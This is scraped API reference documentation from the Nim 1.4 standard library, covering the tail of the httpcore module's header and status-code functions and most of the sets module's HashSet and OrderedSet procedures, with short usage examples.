[Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/httpcore.nim#L115) ``` func newHttpHeaders(keyValuePairs: openArray[tuple[key: string, val: string]]; titleCase = false): HttpHeaders {...}{.raises: [KeyError], tags: [].} ``` Returns a new `HttpHeaders` object from an array. if `titleCase` is set to true, headers are passed to the server in title case (e.g. "Content-Length") [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/httpcore.nim#L122) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/httpcore.nim#L122) ``` func `$`(headers: HttpHeaders): string {...}{.inline, raises: [], tags: [].} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/httpcore.nim#L139) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/httpcore.nim#L139) ``` func `[]`(headers: HttpHeaders; key: string): HttpHeaderValues {...}{. raises: [KeyError], tags: [].} ``` Returns the values associated with the given `key`. If the returned values are passed to a procedure expecting a `string`, the first value is automatically picked. If there are no values associated with the key, an exception is raised. To access multiple values of a key, use the overloaded `[]` below or to get all of them access the `table` field directly. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/httpcore.nim#L145) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/httpcore.nim#L145) ``` func `[]`(headers: HttpHeaders; key: string; i: int): string {...}{. raises: [KeyError], tags: [].} ``` Returns the `i`'th value associated with the given key. If there are no values associated with the key or the `i`'th value doesn't exist, an exception is raised. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/httpcore.nim#L159) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/httpcore.nim#L159) ``` func contains(values: HttpHeaderValues; value: string): bool {...}{.raises: [], tags: [].} ``` Determines if `value` is one of the values inside `values`. Comparison is performed without case sensitivity. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/httpcore.nim#L198) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/httpcore.nim#L198) ``` func hasKey(headers: HttpHeaders; key: string): bool {...}{.raises: [], tags: [].} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/httpcore.nim#L204) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/httpcore.nim#L204) ``` func getOrDefault(headers: HttpHeaders; key: string; default = @[""].HttpHeaderValues): HttpHeaderValues {...}{. raises: [KeyError], tags: [].} ``` Returns the values associated with the given `key`. If there are no values associated with the key, then `default` is returned. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/httpcore.nim#L207) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/httpcore.nim#L207) ``` func len(headers: HttpHeaders): int {...}{.inline, raises: [], tags: [].} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/httpcore.nim#L216) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/httpcore.nim#L216) ``` func parseHeader(line: string): tuple[key: string, value: seq[string]] {...}{. raises: [], tags: [].} ``` Parses a single raw header HTTP line into key value pairs. Used by `asynchttpserver` and `httpclient` internally and should not be used by you. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/httpcore.nim#L229) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/httpcore.nim#L229) ``` func `==`(protocol: tuple[orig: string, major, minor: int]; ver: HttpVersion): bool {...}{. raises: [], tags: [].} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/httpcore.nim#L249) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/httpcore.nim#L249) ``` func contains(methods: set[HttpMethod]; x: string): bool {...}{.raises: [ValueError], tags: [].} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/httpcore.nim#L260) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/httpcore.nim#L260) ``` func `$`(code: HttpCode): string {...}{.raises: [], tags: [].} ``` Converts the specified `HttpCode` into a HTTP status. **Example:** ``` doAssert($Http404 == "404 Not Found") ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/httpcore.nim#L263) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/httpcore.nim#L263) ``` func `==`(a, b: HttpCode): bool {...}{.borrow.} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/httpcore.nim#L318) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/httpcore.nim#L318) ``` func is2xx(code: HttpCode): bool {...}{.inline, raises: [], tags: [].} ``` Determines whether `code` is a 2xx HTTP status code. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/httpcore.nim#L330) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/httpcore.nim#L330) ``` func is3xx(code: HttpCode): bool {...}{.inline, raises: [], tags: [].} ``` Determines whether `code` is a 3xx HTTP status code. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/httpcore.nim#L334) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/httpcore.nim#L334) ``` func is4xx(code: HttpCode): bool {...}{.inline, raises: [], tags: [].} ``` Determines whether `code` is a 4xx HTTP status code. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/httpcore.nim#L338) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/httpcore.nim#L338) ``` func is5xx(code: HttpCode): bool {...}{.inline, raises: [], tags: [].} ``` Determines whether `code` is a 5xx HTTP status code. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/httpcore.nim#L342) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/httpcore.nim#L342) ``` func `$`(httpMethod: HttpMethod): string {...}{.raises: [], tags: [].} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/httpcore.nim#L346) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/httpcore.nim#L346) Iterators --------- ``` iterator pairs(headers: HttpHeaders): tuple[key, value: string] {...}{.raises: [], tags: [].} ``` Yields each key, value pair. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/httpcore.nim#L192) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/httpcore.nim#L192) Converters ---------- ``` converter toString(values: HttpHeaderValues): string {...}{.raises: [], tags: [].} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/httpcore.nim#L156) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/httpcore.nim#L156)
programming_docs
nim sets sets ==== The `sets` module implements an efficient hash set and ordered hash set. Hash sets are different from the [built in set type](manual#types-set-type). Sets allow you to store any value that can be [hashed](hashes) and they don't contain duplicate entries. Common usages of sets: * removing duplicates from a container by converting it with [toHashSet proc](#toHashSet,openArray%5BA%5D) (see also [sequtils.deduplicate proc](sequtils#deduplicate,openArray%5BT%5D,bool)) * membership testing * mathematical operations on two sets, such as [union](#union,HashSet%5BA%5D,HashSet%5BA%5D), [intersection](#intersection,HashSet%5BA%5D,HashSet%5BA%5D), [difference](#difference,HashSet%5BA%5D,HashSet%5BA%5D), and [symmetric difference](#symmetricDifference,HashSet%5BA%5D,HashSet%5BA%5D) ``` echo toHashSet([9, 5, 1]) # {9, 1, 5} echo toOrderedSet([9, 5, 1]) # {9, 5, 1} let s1 = toHashSet([9, 5, 1]) s2 = toHashSet([3, 5, 7]) echo s1 + s2 # {9, 1, 3, 5, 7} echo s1 - s2 # {1, 9} echo s1 * s2 # {5} echo s1 -+- s2 # {9, 1, 3, 7} ``` Note: The data types declared here have *value semantics*: This means that `=` performs a copy of the set. **See also:** * [intsets module](intsets) for efficient int sets * [tables module](tables) for hash tables Imports ------- <hashes>, <math> Types ----- ``` HashSet[A] {...}{..} = object data: KeyValuePairSeq[A] counter: int ``` A generic hash set. Use [init proc](#init,HashSet%5BA%5D,int) or [initHashSet proc](#initHashSet,int) before calling other procs on it. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/collections/sets.nim#L64) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/collections/sets.nim#L64) ``` OrderedSet[A] {...}{..} = object data: OrderedKeyValuePairSeq[A] counter, first, last: int ``` A generic hash set that remembers insertion order. Use [init proc](#init,OrderedSet%5BA%5D,int) or [initOrderedSet proc](#initOrderedSet,int) before calling other procs on it. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/collections/sets.nim#L76) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/collections/sets.nim#L76) ``` SomeSet[A] = HashSet[A] | OrderedSet[A] ``` Type union representing `HashSet` or `OrderedSet`. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/collections/sets.nim#L83) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/collections/sets.nim#L83) Consts ------ ``` defaultInitialSize = 64 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/collections/sets.nim#L87) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/collections/sets.nim#L87) Procs ----- ``` proc rightSize(count: Natural): int {...}{.inline, deprecated: "Deprecated since 1.4.0", raises: [], tags: [].} ``` **Deprecated:** Deprecated since 1.4.0 **Deprecated since Nim v1.4.0**, it is not needed anymore because picking the correct size is done internally. Return the value of `initialSize` to support `count` items. If more items are expected to be added, simply add that expected extra amount to the parameter before calling this. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/collections/hashcommon.nim#L41) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/collections/hashcommon.nim#L41) ``` proc init[A](s: var HashSet[A]; initialSize = defaultInitialSize) ``` Initializes a hash set. Starting from Nim v0.20, sets are initialized by default and it is not necessary to call this function explicitly. You can call this proc on a previously initialized hash set, which will discard all its values. This might be more convenient than iterating over existing values and calling [excl()](#excl,HashSet%5BA%5D,A) on them. See also: * [initHashSet proc](#initHashSet,int) * [toHashSet proc](#toHashSet,openArray%5BA%5D) **Example:** ``` var a: HashSet[int] init(a) ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/collections/sets.nim#L96) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/collections/sets.nim#L96) ``` proc initHashSet[A](initialSize = defaultInitialSize): HashSet[A] ``` Wrapper around [init proc](#init,HashSet%5BA%5D,int) for initialization of hash sets. Returns an empty hash set you can assign directly in `var` blocks in a single line. Starting from Nim v0.20, sets are initialized by default and it is not necessary to call this function explicitly. See also: * [toHashSet proc](#toHashSet,openArray%5BA%5D) **Example:** ``` var a = initHashSet[int]() a.incl(3) assert len(a) == 1 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/collections/sets.nim#L115) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/collections/sets.nim#L115) ``` proc `[]`[A](s: var HashSet[A]; key: A): var A ``` Returns the element that is actually stored in `s` which has the same value as `key` or raises the `KeyError` exception. This is useful when one overloaded `hash` and `==` but still needs reference semantics for sharing. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/collections/sets.nim#L134) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/collections/sets.nim#L134) ``` proc contains[A](s: HashSet[A]; key: A): bool ``` Returns true if `key` is in `s`. This allows the usage of `in` operator. See also: * [incl proc](#incl,HashSet%5BA%5D,A) * [containsOrIncl proc](#containsOrIncl,HashSet%5BA%5D,A) **Example:** ``` var values = initHashSet[int]() assert(not values.contains(2)) assert 2 notin values values.incl(2) assert values.contains(2) assert 2 in values ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/collections/sets.nim#L149) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/collections/sets.nim#L149) ``` proc incl[A](s: var HashSet[A]; key: A) ``` Includes an element `key` in `s`. This doesn't do anything if `key` is already in `s`. See also: * [excl proc](#excl,HashSet%5BA%5D,A) for excluding an element * [incl proc](#incl,HashSet%5BA%5D,HashSet%5BA%5D) for including other set * [containsOrIncl proc](#containsOrIncl,HashSet%5BA%5D,A) **Example:** ``` var values = initHashSet[int]() values.incl(2) values.incl(2) assert values.len == 1 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/collections/sets.nim#L170) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/collections/sets.nim#L170) ``` proc incl[A](s: var HashSet[A]; other: HashSet[A]) ``` Includes all elements from `other` set into `s` (must be declared as `var`). This is the in-place version of [s + other](#+,HashSet%5BA%5D,HashSet%5BA%5D). See also: * [excl proc](#excl,HashSet%5BA%5D,HashSet%5BA%5D) for excluding other set * [incl proc](#incl,HashSet%5BA%5D,A) for including an element * [containsOrIncl proc](#containsOrIncl,HashSet%5BA%5D,A) **Example:** ``` var values = toHashSet([1, 2, 3]) others = toHashSet([3, 4, 5]) values.incl(others) assert values.len == 5 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/collections/sets.nim#L187) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/collections/sets.nim#L187) ``` proc toHashSet[A](keys: openArray[A]): HashSet[A] ``` Creates a new hash set that contains the members of the given collection (seq, array, or string) `keys`. Duplicates are removed. See also: * [initHashSet proc](#initHashSet,int) **Example:** ``` let a = toHashSet([5, 3, 2]) b = toHashSet("abracadabra") assert len(a) == 3 ## a == {2, 3, 5} assert len(b) == 5 ## b == {'a', 'b', 'c', 'd', 'r'} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/collections/sets.nim#L205) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/collections/sets.nim#L205) ``` proc containsOrIncl[A](s: var HashSet[A]; key: A): bool ``` Includes `key` in the set `s` and tells if `key` was already in `s`. The difference with regards to the [incl proc](#incl,HashSet%5BA%5D,A) is that this proc returns `true` if `s` already contained `key`. The proc will return `false` if `key` was added as a new value to `s` during this call. See also: * [incl proc](#incl,HashSet%5BA%5D,A) for including an element * [incl proc](#incl,HashSet%5BA%5D,HashSet%5BA%5D) for including other set * [missingOrExcl proc](#missingOrExcl,HashSet%5BA%5D,A) **Example:** ``` var values = initHashSet[int]() assert values.containsOrIncl(2) == false assert values.containsOrIncl(2) == true assert values.containsOrIncl(3) == false ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/collections/sets.nim#L247) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/collections/sets.nim#L247) ``` proc excl[A](s: var HashSet[A]; key: A) ``` Excludes `key` from the set `s`. This doesn't do anything if `key` is not found in `s`. See also: * [incl proc](#incl,HashSet%5BA%5D,A) for including an element * [excl proc](#excl,HashSet%5BA%5D,HashSet%5BA%5D) for excluding other set * [missingOrExcl proc](#missingOrExcl,HashSet%5BA%5D,A) **Example:** ``` var s = toHashSet([2, 3, 6, 7]) s.excl(2) s.excl(2) assert s.len == 3 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/collections/sets.nim#L267) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/collections/sets.nim#L267) ``` proc excl[A](s: var HashSet[A]; other: HashSet[A]) ``` Excludes all elements of `other` set from `s`. This is the in-place version of [s - other](#-,HashSet%5BA%5D,HashSet%5BA%5D). See also: * [incl proc](#incl,HashSet%5BA%5D,HashSet%5BA%5D) for including other set * [excl proc](#excl,HashSet%5BA%5D,A) for excluding an element * [missingOrExcl proc](#missingOrExcl,HashSet%5BA%5D,A) **Example:** ``` var numbers = toHashSet([1, 2, 3, 4, 5]) even = toHashSet([2, 4, 6, 8]) numbers.excl(even) assert len(numbers) == 3 ## numbers == {1, 3, 5} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/collections/sets.nim#L284) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/collections/sets.nim#L284) ``` proc missingOrExcl[A](s: var HashSet[A]; key: A): bool ``` Excludes `key` in the set `s` and tells if `key` was already missing from `s`. The difference with regards to the [excl proc](#excl,HashSet%5BA%5D,A) is that this proc returns `true` if `key` was missing from `s`. The proc will return `false` if `key` was in `s` and it was removed during this call. See also: * [excl proc](#excl,HashSet%5BA%5D,A) for excluding an element * [excl proc](#excl,HashSet%5BA%5D,HashSet%5BA%5D) for excluding other set * [containsOrIncl proc](#containsOrIncl,HashSet%5BA%5D,A) **Example:** ``` var s = toHashSet([2, 3, 6, 7]) assert s.missingOrExcl(4) == true assert s.missingOrExcl(6) == false assert s.missingOrExcl(6) == true ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/collections/sets.nim#L303) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/collections/sets.nim#L303) ``` proc pop[A](s: var HashSet[A]): A ``` Removes and returns an arbitrary element from the set `s`. Raises KeyError if the set `s` is empty. See also: * [clear proc](#clear,HashSet%5BA%5D) **Example:** ``` var s = toHashSet([2, 1]) assert [s.pop, s.pop] in [[1, 2], [2,1]] # order unspecified doAssertRaises(KeyError, echo s.pop) ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/collections/sets.nim#L323) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/collections/sets.nim#L323) ``` proc clear[A](s: var HashSet[A]) ``` Clears the HashSet back to an empty state, without shrinking any of the existing storage. `O(n)` operation, where `n` is the size of the hash bucket. See also: * [pop proc](#pop,HashSet%5BA%5D) **Example:** ``` var s = toHashSet([3, 5, 7]) clear(s) assert len(s) == 0 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/collections/sets.nim#L342) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/collections/sets.nim#L342) ``` proc len[A](s: HashSet[A]): int ``` Returns the number of elements in `s`. Due to an implementation detail you can call this proc on variables which have not been initialized yet. The proc will return zero as the length then. **Example:** ``` var a: HashSet[string] assert len(a) == 0 let s = toHashSet([3, 5, 7]) assert len(s) == 3 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/collections/sets.nim#L360) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/collections/sets.nim#L360) ``` proc card[A](s: HashSet[A]): int ``` Alias for [len()](#len,HashSet%5BA%5D). Card stands for the [cardinality](http://en.wikipedia.org/wiki/Cardinality) of a set. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/collections/sets.nim#L374) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/collections/sets.nim#L374) ``` proc union[A](s1, s2: HashSet[A]): HashSet[A] ``` Returns the union of the sets `s1` and `s2`. The same as [s1 + s2](#+,HashSet%5BA%5D,HashSet%5BA%5D). The union of two sets is represented mathematically as *A ∪ B* and is the set of all objects that are members of `s1`, `s2` or both. See also: * [intersection proc](#intersection,HashSet%5BA%5D,HashSet%5BA%5D) * [difference proc](#difference,HashSet%5BA%5D,HashSet%5BA%5D) * [symmetricDifference proc](#symmetricDifference,HashSet%5BA%5D,HashSet%5BA%5D) **Example:** ``` let a = toHashSet(["a", "b"]) b = toHashSet(["b", "c"]) c = union(a, b) assert c == toHashSet(["a", "b", "c"]) ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/collections/sets.nim#L382) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/collections/sets.nim#L382) ``` proc intersection[A](s1, s2: HashSet[A]): HashSet[A] ``` Returns the intersection of the sets `s1` and `s2`. The same as [s1 \* s2](#*,HashSet%5BA%5D,HashSet%5BA%5D). The intersection of two sets is represented mathematically as *A ∩ B* and is the set of all objects that are members of `s1` and `s2` at the same time. See also: * [union proc](#union,HashSet%5BA%5D,HashSet%5BA%5D) * [difference proc](#difference,HashSet%5BA%5D,HashSet%5BA%5D) * [symmetricDifference proc](#symmetricDifference,HashSet%5BA%5D,HashSet%5BA%5D) **Example:** ``` let a = toHashSet(["a", "b"]) b = toHashSet(["b", "c"]) c = intersection(a, b) assert c == toHashSet(["b"]) ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/collections/sets.nim#L404) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/collections/sets.nim#L404) ``` proc difference[A](s1, s2: HashSet[A]): HashSet[A] ``` Returns the difference of the sets `s1` and `s2`. The same as [s1 - s2](#-,HashSet%5BA%5D,HashSet%5BA%5D). The difference of two sets is represented mathematically as *A ∖ B* and is the set of all objects that are members of `s1` and not members of `s2`. See also: * [union proc](#union,HashSet%5BA%5D,HashSet%5BA%5D) * [intersection proc](#intersection,HashSet%5BA%5D,HashSet%5BA%5D) * [symmetricDifference proc](#symmetricDifference,HashSet%5BA%5D,HashSet%5BA%5D) **Example:** ``` let a = toHashSet(["a", "b"]) b = toHashSet(["b", "c"]) c = difference(a, b) assert c == toHashSet(["a"]) ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/collections/sets.nim#L435) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/collections/sets.nim#L435) ``` proc symmetricDifference[A](s1, s2: HashSet[A]): HashSet[A] ``` Returns the symmetric difference of the sets `s1` and `s2`. The same as [s1 -+- s2](#-+-,HashSet%5BA%5D,HashSet%5BA%5D). The symmetric difference of two sets is represented mathematically as *A △ B* or *A ⊖ B* and is the set of all objects that are members of `s1` or `s2` but not both at the same time. See also: * [union proc](#union,HashSet%5BA%5D,HashSet%5BA%5D) * [intersection proc](#intersection,HashSet%5BA%5D,HashSet%5BA%5D) * [difference proc](#difference,HashSet%5BA%5D,HashSet%5BA%5D) **Example:** ``` let a = toHashSet(["a", "b"]) b = toHashSet(["b", "c"]) c = symmetricDifference(a, b) assert c == toHashSet(["a", "c"]) ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/collections/sets.nim#L459) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/collections/sets.nim#L459) ``` proc `+`[A](s1, s2: HashSet[A]): HashSet[A] {...}{.inline.} ``` Alias for [union(s1, s2)](#union,HashSet%5BA%5D,HashSet%5BA%5D). [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/collections/sets.nim#L483) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/collections/sets.nim#L483) ``` proc `*`[A](s1, s2: HashSet[A]): HashSet[A] {...}{.inline.} ``` Alias for [intersection(s1, s2)](#intersection,HashSet%5BA%5D,HashSet%5BA%5D). [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/collections/sets.nim#L487) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/collections/sets.nim#L487) ``` proc `-`[A](s1, s2: HashSet[A]): HashSet[A] {...}{.inline.} ``` Alias for [difference(s1, s2)](#difference,HashSet%5BA%5D,HashSet%5BA%5D). [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/collections/sets.nim#L491) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/collections/sets.nim#L491) ``` proc `-+-`[A](s1, s2: HashSet[A]): HashSet[A] {...}{.inline.} ``` Alias for [symmetricDifference(s1, s2)](#symmetricDifference,HashSet%5BA%5D,HashSet%5BA%5D). [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/collections/sets.nim#L495) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/collections/sets.nim#L495) ``` proc disjoint[A](s1, s2: HashSet[A]): bool ``` Returns `true` if the sets `s1` and `s2` have no items in common. **Example:** ``` let a = toHashSet(["a", "b"]) b = toHashSet(["b", "c"]) assert disjoint(a, b) == false assert disjoint(a, b - a) == true ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/collections/sets.nim#L500) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/collections/sets.nim#L500) ``` proc `<`[A](s, t: HashSet[A]): bool ``` Returns true if `s` is a strict or proper subset of `t`. A strict or proper subset `s` has all of its members in `t` but `t` has more elements than `s`. **Example:** ``` let a = toHashSet(["a", "b"]) b = toHashSet(["b", "c"]) c = intersection(a, b) assert c < a and c < b assert(not (a < a)) ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/collections/sets.nim#L513) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/collections/sets.nim#L513) ``` proc `<=`[A](s, t: HashSet[A]): bool ``` Returns true if `s` is a subset of `t`. A subset `s` has all of its members in `t` and `t` doesn't necessarily have more members than `s`. That is, `s` can be equal to `t`. **Example:** ``` let a = toHashSet(["a", "b"]) b = toHashSet(["b", "c"]) c = intersection(a, b) assert c <= a and c <= b assert a <= a ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/collections/sets.nim#L528) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/collections/sets.nim#L528) ``` proc `==`[A](s, t: HashSet[A]): bool ``` Returns true if both `s` and `t` have the same members and set size. **Example:** ``` var a = toHashSet([1, 2]) b = toHashSet([2, 1]) assert a == b ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/collections/sets.nim#L549) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/collections/sets.nim#L549) ``` proc map[A, B](data: HashSet[A]; op: proc (x: A): B {...}{.closure.}): HashSet[B] ``` Returns a new set after applying `op` proc on each of the elements of `data` set. You can use this proc to transform the elements from a set. **Example:** ``` let a = toHashSet([1, 2, 3]) b = a.map(proc (x: int): string = $x) assert b == toHashSet(["1", "2", "3"]) ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/collections/sets.nim#L559) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/collections/sets.nim#L559) ``` proc hash[A](s: HashSet[A]): Hash ``` Hashing of HashSet. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/collections/sets.nim#L573) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/collections/sets.nim#L573) ``` proc `$`[A](s: HashSet[A]): string ``` Converts the set `s` to a string, mostly for logging and printing purposes. Don't use this proc for serialization, the representation may change at any moment and values are not escaped. **Examples:** ``` echo toHashSet([2, 4, 5]) # --> {2, 4, 5} echo toHashSet(["no", "esc'aping", "is \" provided"]) # --> {no, esc'aping, is " provided} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/collections/sets.nim#L579) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/collections/sets.nim#L579) ``` proc initSet[A](initialSize = defaultInitialSize): HashSet[A] {...}{. deprecated: "Deprecated since v0.20, use \'initHashSet\'".} ``` **Deprecated:** Deprecated since v0.20, use 'initHashSet' [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/collections/sets.nim#L595) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/collections/sets.nim#L595) ``` proc toSet[A](keys: openArray[A]): HashSet[A] {...}{. deprecated: "Deprecated since v0.20, use \'toHashSet\'".} ``` **Deprecated:** Deprecated since v0.20, use 'toHashSet' [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/collections/sets.nim#L598) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/collections/sets.nim#L598) ``` proc isValid[A](s: HashSet[A]): bool {...}{.deprecated: "Deprecated since v0.20; sets are initialized by default".} ``` **Deprecated:** Deprecated since v0.20; sets are initialized by default Returns `true` if the set has been initialized (with [initHashSet proc](#initHashSet,int) or [init proc](#init,HashSet%5BA%5D,int)). **Examples:** ``` proc savePreferences(options: HashSet[string]) = assert options.isValid, "Pass an initialized set!" # Do stuff here, may crash in release builds! ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/collections/sets.nim#L601) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/collections/sets.nim#L601) ``` proc init[A](s: var OrderedSet[A]; initialSize = defaultInitialSize) ``` Initializes an ordered hash set. Starting from Nim v0.20, sets are initialized by default and it is not necessary to call this function explicitly. You can call this proc on a previously initialized hash set, which will discard all its values. This might be more convenient than iterating over existing values and calling [excl()](#excl,HashSet%5BA%5D,A) on them. See also: * [initOrderedSet proc](#initOrderedSet,int) * [toOrderedSet proc](#toOrderedSet,openArray%5BA%5D) **Example:** ``` var a: OrderedSet[int] init(a) ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/collections/sets.nim#L632) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/collections/sets.nim#L632) ``` proc initOrderedSet[A](initialSize = defaultInitialSize): OrderedSet[A] ``` Wrapper around [init proc](#init,OrderedSet%5BA%5D,int) for initialization of ordered hash sets. Returns an empty ordered hash set you can assign directly in `var` blocks in a single line. Starting from Nim v0.20, sets are initialized by default and it is not necessary to call this function explicitly. See also: * [toOrderedSet proc](#toOrderedSet,openArray%5BA%5D) **Example:** ``` var a = initOrderedSet[int]() a.incl(3) assert len(a) == 1 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/collections/sets.nim#L651) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/collections/sets.nim#L651) ``` proc toOrderedSet[A](keys: openArray[A]): OrderedSet[A] ``` Creates a new hash set that contains the members of the given collection (seq, array, or string) `keys`. Duplicates are removed. See also: * [initOrderedSet proc](#initOrderedSet,int) **Example:** ``` let a = toOrderedSet([5, 3, 2]) b = toOrderedSet("abracadabra") assert len(a) == 3 ## a == {5, 3, 2} # different than in HashSet assert len(b) == 5 ## b == {'a', 'b', 'r', 'c', 'd'} # different than in HashSet ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/collections/sets.nim#L670) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/collections/sets.nim#L670) ``` proc contains[A](s: OrderedSet[A]; key: A): bool ``` Returns true if `key` is in `s`. This allows the usage of `in` operator. See also: * [incl 